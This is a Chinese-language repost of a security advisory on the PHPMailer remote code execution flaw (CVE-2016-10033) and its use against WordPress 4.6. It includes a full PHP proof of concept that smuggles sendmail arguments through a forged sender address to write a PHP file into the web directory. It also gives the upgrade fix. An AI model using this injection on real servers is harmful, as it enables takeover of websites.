您的位置:首页 > 编程语言 > PHP开发

【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

2017-05-07 09:13 1106 查看

【2017.5.4更新】

昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295。从描述来看,前者是WordPress Core 4.6一个未经授权的RCE漏洞。不过实际上,这就是去年12月份FreeBuf已经报道的漏洞,因此我们在原文基础上进行更新。

这次漏洞公告就是PHPMailer漏洞利用细节在WordPress核心中的实现。未经授权的攻击者利用漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标应用服务器的完全陷落。无需插件或者非标准设置,就能利用该漏洞。实际上Wordfence当时就曾经提到过该漏洞影响到了WP Core。

最新的这则公告提到了PHP mail()函数的新利用向量,可在MTA – Exim4之上利用该漏洞,Exim在如Debian或Ubuntu等系统中都是默认安装的。这样一来也就增加了此类攻击的范围和漏洞的严重性。具体为利用host字段注入了恶意数据,进入到了mail函数,再利用sendmail (实际上是软连接到的exim4)命令的-be 参数来执行命令。

之所以到现在才公布这部分细节,是期望给予WordPress和其它收到影响的软件提供商更多时间来升级受影响的Mail库。除此之外,也是针对CVE-2017-8295漏洞留出更多的修复时间。

漏洞利用详情参见:https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

 

影响范围:

本次公告中提到的RCE PoC基于WordPress 4.6实现,不过其它版本的WordPress也可能受到影响。

视频演示PoC:https://www.youtube.com/watch?v=ZFt_S5pQPX0

作者给出的PoC:

<?php
/*
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>";
// ------------------
// mail() param injection via the vulnerability in PHPMailer
require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"
$mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!\n";
}
View Code

漏洞修复

更新到5.2.18:https://github.com/PHPMailer/PHPMailer

漏洞详情目前已经提交给了PHPMailer官方——官方也已经发布了PHPMailer 5.2.18紧急安全修复,解决上述问题,受影响的用户应当立即升级。详情可参见:

https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md

https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md

*本文投稿作者:lmj,转载须注明来自FreeBuf.COM

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: